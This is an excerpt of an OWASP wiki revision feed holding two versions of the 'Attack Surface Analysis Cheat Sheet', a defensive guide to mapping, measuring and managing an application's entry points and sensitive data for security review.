* Inquiries and search functions&lt;br /&gt;
* Data entry (CRUD) forms&lt;br /&gt;
* Business workflows&lt;br /&gt;
* Transactional interfaces/APIs&lt;br /&gt;
* Operational command and monitoring interfaces/APIs&lt;br /&gt;
* ...&lt;br /&gt;
&lt;br /&gt;
You also need to identify the confidential and sensitive data in the application, by interviewing developers and users of the system and again by reviewing the source code.&lt;br /&gt;
&lt;br /&gt;
You can also build up a picture of the Attack Surface by scanning the application. For web apps you can use a tool like Arachni or Skipfish or w3af or one of the many commercial dynamic testing and vulnerability scanning tools or services to crawl your app and map the parts of the application that are accessible over the web.  &lt;br /&gt;
&lt;br /&gt;
The Attack Surface model may be rough and incomplete to start, especially if you haven’t done any security work on the application before. Fill in the holes as you dig deeper in a security analysis, or as you work more with the application and make changes and realize that your understanding of the Attack Surface has changed.&lt;br /&gt;
&lt;br /&gt;
= Measuring and Assessing the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
Once you have a map of the Attack Surface, identify the high risk areas. Focus on remote entry points – interfaces with outside systems and to the Internet – and especially where the system allows anonymous, public access. &lt;br /&gt;
* Network-facing, especially internet-facing code&lt;br /&gt;
* Web forms&lt;br /&gt;
* Files from outside of the network&lt;br /&gt;
* Backwards compatible interfaces with other systems – old protocols, sometimes old code and libraries, hard to maintain and test multiple versions&lt;br /&gt;
* Custom APIs – protocols etc – likely to have mistakes in design and implementation&lt;br /&gt;
* Security code: anything to do with crypto, authentication and session management&lt;br /&gt;
&lt;br /&gt;
This is where you are most exposed to attack. Then understand what compensating controls you have in place, operational controls like network firewalls and application firewalls,and intrusion detection or prevention systems to help protect your app.&lt;br /&gt;
&lt;br /&gt;
Michael Howard at Microsoft and other researchers have developed a method for measuring the Attack Surface of an application, and to track changes to the Attack Surface over time, called the [http://www.cs.cmu.edu/~wing/publications/Howard-Wing03.pdf Relative Attack Surface Quotient (RSQ)]. Using this method you calculate an overall attack surface score for the system, and measure this score as changes are made to the system and to how it is deployed. Researchers at Carnegie Mellon built on this work to develop a formal way to calculate an [http://www.cs.cmu.edu/~pratyus/tse10.pdf Attack Surface Metric] for large systems like SAP. They calculate the Attack Surface as the sum of all entry and exit points, channels (the different ways that clients or external systems connect to the system, including TCP/UDP ports, RPC end points, named pipes...) and untrusted data elements. Then they apply a damage potential/effort ratio to these Attack Surface elements to identify high-risk areas.&lt;br /&gt;
&lt;br /&gt;
= Managing the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
Once you have a baseline understanding of the Attack Surface, you can use it to incrementally identify and manage risks going forward as you make changes to the application. Ask yourself:&lt;br /&gt;
* What has changed? &lt;br /&gt;
* What are you doing different? (technology, new approach, ….)&lt;br /&gt;
* What holes could you have opened?&lt;br /&gt;
&lt;br /&gt;
The first web page that you create opens up the system’s Attack Surface significantly and introduces all kinds of new risks. If you add another field to that page, or another web page like it, while technically you have made the Attack Surface bigger, you haven’t increased the risk profile of the application in a meaningful way. Each of these incremental changes is more of the same, unless you follow a new design or use a new framework.&lt;br /&gt;
&lt;br /&gt;
If you add another web page that follows the same design and using the same technology as existing web pages, it's easy to understand how much security testing and review it needs. If you add a new web services API or file that can be uploaded from the Internet, each of these changes have a different risk profile again - see if if the change fits in an existing bucket, see if the existing controls and protections apply. If you're adding something that doesn't fall into an existing bucket, this means that you have to go through a more thorough risk assessment to understand what kind of security holes you may open and what protections you need to put in place. &lt;br /&gt;
&lt;br /&gt;
Changes to session management and authentication and password management directly affect the Attack Surface and need to be reviewed. So do changes to authorization and access control logic, especially adding or changing role definitions, adding admin users or admin functions with high privileges. Changes to the code that handles encryption and secrets. Fundamental changes to how data validation is done. And major architectural changes to layering and trust relationships, or fundamental changes in technical architecture – swapping out your web server or database platform, or changing the run-time OS. &lt;br /&gt;
&lt;br /&gt;
As you add new user types or roles or privilege levels, you do the same kind of analysis and risk assessment. Overlay the type of access across the data and functions and look for problems and inconsistencies. It's important to understand the access model for the application, whether it is positive (access is deny by default) or negative (access is allow by default). In a positive access model, any mistakes in defining what data or functions are permitted to a new user type or role are easy to see. In a negative access model,you have to be much more careful to ensure that a user does not get access to data/functions that they should not be permitted to.&lt;br /&gt;
&lt;br /&gt;
This kind of threat or risk assessment can be done periodically, or as a part of design work in serial / phased / spiral / waterfall development projects, or continuously and incrementally in Agile / iterative development.&lt;br /&gt;
&lt;br /&gt;
Normally, an application's Attack Surface will increase over time as you add more interfaces and user types and integrate with other systems. You also want to look for ways to reduce the size of the Attack Surface when you can by simplifying the model (reducing the number of user levels for example or not storing confidential data that you don't absolutely have to), turning off features and interfaces that aren't being used, by introducing operational controls such as a Web Application Firewall (WAF).&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
OWASP CLASP Identifying the Attack Surface: [[Identify attack surface]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
OWASP Principles Minimize Attack Surface area: [[Minimize attack surface area]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Mitigate Security Risks by Minimizing the Code You Expose to Untrusted Users, Michael Howard http://msdn.microsoft.com/en-us/magazine/cc163882.aspx&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Jim Bird jimbird[at]shaw.ca&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Jim Manico - jim[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Attack_Surface_Analysis_Cheat_Sheet&amp;diff=134903</id>
		<title>Attack Surface Analysis Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Attack_Surface_Analysis_Cheat_Sheet&amp;diff=134903"/>
				<updated>2012-08-27T20:32:58Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction =&lt;br /&gt;
&lt;br /&gt;
This article describes a simple and pragmatic way of doing Attack Surface Analysis and managing an application's Attack Surface. It is targeted to be used by developers to understand and manage application security risks as they design and change an application, as well as by application security specialists doing a security risk assessment. The focus here is on protecting an application from external attack - it does not take into account attacks on the users or operators of the system (social engineering attacks for example), and there is less focus on insider threats.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis is about mapping out what parts of a system need to be reviewed and tested for security vulnerabilities. The point of Attack Surface Analysis is to understand the risk areas in an application, to make developers and security specialists aware of what parts of the application are open to attack, to find ways of minimizing this, and to notice when and how the Attack Surface changes and what this means from a risk perspective.&lt;br /&gt;
&lt;br /&gt;
Attack Surface Analysis helps you to:&lt;br /&gt;
# identify what you need to review/test for security vulnerabilities&lt;br /&gt;
# identify high risk areas of code that require defense-in-depth protection&lt;br /&gt;
# identify when you’ve changed the attack surface and need to do some kind of threat assessment&lt;br /&gt;
&lt;br /&gt;
= Defining the Attack Surface of an Application =&lt;br /&gt;
&lt;br /&gt;
The Attack Surface describes all of the different points where an attacker could get into a system, and where they could get data out.&lt;br /&gt;
&lt;br /&gt;
The Attack Surface of an application is:&lt;br /&gt;
# the sum of all paths for data/commands into and out of the application, and &lt;br /&gt;
# the code that protects these paths (including resource connection and authentication, authorization, activity logging, data validation and encoding); and &lt;br /&gt;
# all confidential and sensitive data used in the application, including secrets and keys, critical business data and PII, and &lt;br /&gt;
# the code that protects these data (including encryption and checksums, access auditing, and data integrity and operational security controls).&lt;br /&gt;
&lt;br /&gt;
You overlay this model with the different types of users - roles, privilege levels - that can use the system. Complexity increases with the number of different types of users. But it is important to focus especially on the two extremes: unauthenticated, anonymous users and highly privileged admin users. &lt;br /&gt;
&lt;br /&gt;
Group each type of attack point into buckets based on risk (Internet-facing or internal-facing), purpose, implementation, design and technology. You can then count the number of attack points of each type, then choose some cases for each type, and focus your review/assessment on those cases.&lt;br /&gt;
&lt;br /&gt;
With this approach, you don't need to understand every endpoint in order to understand the Attack Surface and the potential risk profile of a system. Instead, you can count the different general type of endpoints and the number of points of each type. With this you can budget what it will take to assess risk at scale, and you can tell when the risk profile of an application has significantly changed.&lt;br /&gt;
&lt;br /&gt;
= Identifying and Mapping the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
You can start by capturing the Attack Surface baseline in a picture and notes. Spend a few hours reviewing design and architecture documents from an attacker's perspective. Identify different points of entry/exit:&lt;br /&gt;
* UI forms and fields&lt;br /&gt;
* HTTP headers and cookies&lt;br /&gt;
* APIs&lt;br /&gt;
* Files&lt;br /&gt;
* Databases&lt;br /&gt;
* email or other kinds of messages&lt;br /&gt;
* run-time arguments&lt;br /&gt;
* ….?&lt;br /&gt;
&lt;br /&gt;
The number of different attack points can easily add up into the thousands or more. To make this manageable, break the model into different types based on function, design and technology:&lt;br /&gt;
* Login/authentication entry points&lt;br /&gt;
* Admin interfaces&lt;br /&gt;
* Inquiries and search functions&lt;br /&gt;
* Data entry (CRUD) forms&lt;br /&gt;
* Business workflows&lt;br /&gt;
* Transactional interfaces/APIs&lt;br /&gt;
* Operational command and monitoring interfaces/APIs&lt;br /&gt;
* ...&lt;br /&gt;
&lt;br /&gt;
You also need to identify the confidential and sensitive data in the application, by interviewing developers and users of the system.&lt;br /&gt;
&lt;br /&gt;
You can also build up a picture of the Attack Surface by scanning the application. For web apps you can use a tool like Arachni or Skipfish or w3af or one of the many commercial dynamic testing and vulnerability scanning tools or services to crawl your app and map the parts of the application that are accessible over the web.  &lt;br /&gt;
&lt;br /&gt;
The Attack Surface model may be rough and incomplete to start, especially if you haven’t done any security work on the application before. Fill in the holes as you dig deeper in a security analysis, or as you work more with the application and make changes and realize that your understanding of the Attack Surface has changed.&lt;br /&gt;
&lt;br /&gt;
= Measuring and Assessing the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
Once you have a map of the Attack Surface, identify the high risk areas. Focus on remote entry points – interfaces with outside systems and to the Internet – and especially where the system allows anonymous, public access. &lt;br /&gt;
* Network-facing, especially internet-facing code&lt;br /&gt;
* Web forms&lt;br /&gt;
* Files from outside of the network&lt;br /&gt;
* Backwards compatible interfaces with other systems – old protocols, sometimes old code and libraries, hard to maintain and test multiple versions&lt;br /&gt;
* Custom APIs – protocols etc – likely to have mistakes in design and implementation&lt;br /&gt;
* Security code: anything to do with crypto, authentication and session management&lt;br /&gt;
&lt;br /&gt;
This is where you are most exposed to attack. Then understand what compensating controls you have in place, operational controls like network firewalls and application firewalls,and intrusion detection or prevention systems to help protect your app.&lt;br /&gt;
&lt;br /&gt;
Michael Howard at Microsoft and other researchers have developed a method for measuring the Attack Surface of an application, and to track changes to the Attack Surface over time, called the [http://www.cs.cmu.edu/~wing/publications/Howard-Wing03.pdf Relative Attack Surface Quotient (RSQ)]. Using this method you calculate an overall attack surface score for the system, and measure this score as changes are made to the system and to how it is deployed. Researchers at Carnegie Mellon built on this work to develop a formal way to calculate an [http://www.cs.cmu.edu/~pratyus/tse10.pdf Attack Surface Metric] for large systems like SAP. They calculate the Attack Surface as the sum of all entry and exit points, channels (the different ways that clients or external systems connect to the system, including TCP/UDP ports, RPC end points, named pipes...) and untrusted data elements. Then they apply a damage potential/effort ratio to these Attack Surface elements to identify high-risk areas.&lt;br /&gt;
&lt;br /&gt;
= Managing the Attack Surface =&lt;br /&gt;
&lt;br /&gt;
Once you have a baseline understanding of the Attack Surface, you can use it to incrementally identify and manage risks going forward as you make changes to the application. Ask yourself:&lt;br /&gt;
* What has changed? &lt;br /&gt;
* What are you doing different? (technology, new approach, ….)&lt;br /&gt;
* What holes could you have opened?&lt;br /&gt;
&lt;br /&gt;
The first web page that you create opens up the system’s Attack Surface significantly and introduces all kinds of new risks. If you add another field to that page, or another web page like it, while technically you have made the Attack Surface bigger, you haven’t increased the risk profile of the application in a meaningful way. Each of these incremental changes is more of the same, unless you follow a new design or use a new framework.&lt;br /&gt;
&lt;br /&gt;
If you add another web page that follows the same design and using the same technology as existing web pages, it's easy to understand how much security testing and review it needs. If you add a new web services API or file that can be uploaded from the Internet, each of these changes have a different risk profile again - see if if the change fits in an existing bucket, see if the existing controls and protections apply. If you're adding something that doesn't fall into an existing bucket, this means that you have to go through a more thorough risk assessment to understand what kind of security holes you may open and what protections you need to put in place. &lt;br /&gt;
&lt;br /&gt;
Changes to session management and authentication and password management directly affect the Attack Surface and need to be reviewed. So do changes to authorization and access control logic, especially adding or changing role definitions, adding admin users or admin functions with high privileges. Changes to the code that handles encryption and secrets. Fundamental changes to how data validation is done. And major architectural changes to layering and trust relationships, or fundamental changes in technical architecture – swapping out your web server or database platform, or changing the run-time OS. &lt;br /&gt;
&lt;br /&gt;
As you add new user types or roles or privilege levels, you do the same kind of analysis and risk assessment. Overlay the type of access across the data and functions and look for problems and inconsistencies. It's important to understand the access model for the application, whether it is positive (access is deny by default) or negative (access is allow by default). In a positive access model, any mistakes in defining what data or functions are permitted to a new user type or role are easy to see. In a negative access model,you have to be much more careful to ensure that a user does not get access to data/functions that they should not be permitted to.&lt;br /&gt;
&lt;br /&gt;
This kind of threat or risk assessment can be done periodically, or as a part of design work in serial / phased / spiral / waterfall development projects, or continuously and incrementally in Agile / iterative development.&lt;br /&gt;
&lt;br /&gt;
Normally, an application's Attack Surface will increase over time as you add more interfaces and user types and integrate with other systems. You also want to look for ways to reduce the size of the Attack Surface when you can by simplifying the model (reducing the number of user levels for example or not storing confidential data that you don't absolutely have to), turning off features and interfaces that aren't being used, by introducing operational controls such as a Web Application Firewall (WAF).&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
&lt;br /&gt;
OWASP CLASP Identifying the Attack Surface: [[Identify attack surface]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
OWASP Principles Minimize Attack Surface area: [[Minimize attack surface area]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Mitigate Security Risks by Minimizing the Code You Expose to Untrusted Users, Michael Howard http://msdn.microsoft.com/en-us/magazine/cc163882.aspx&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Jim Bird jimbird[at]shaw.ca&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Jim Manico - jim[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	</feed>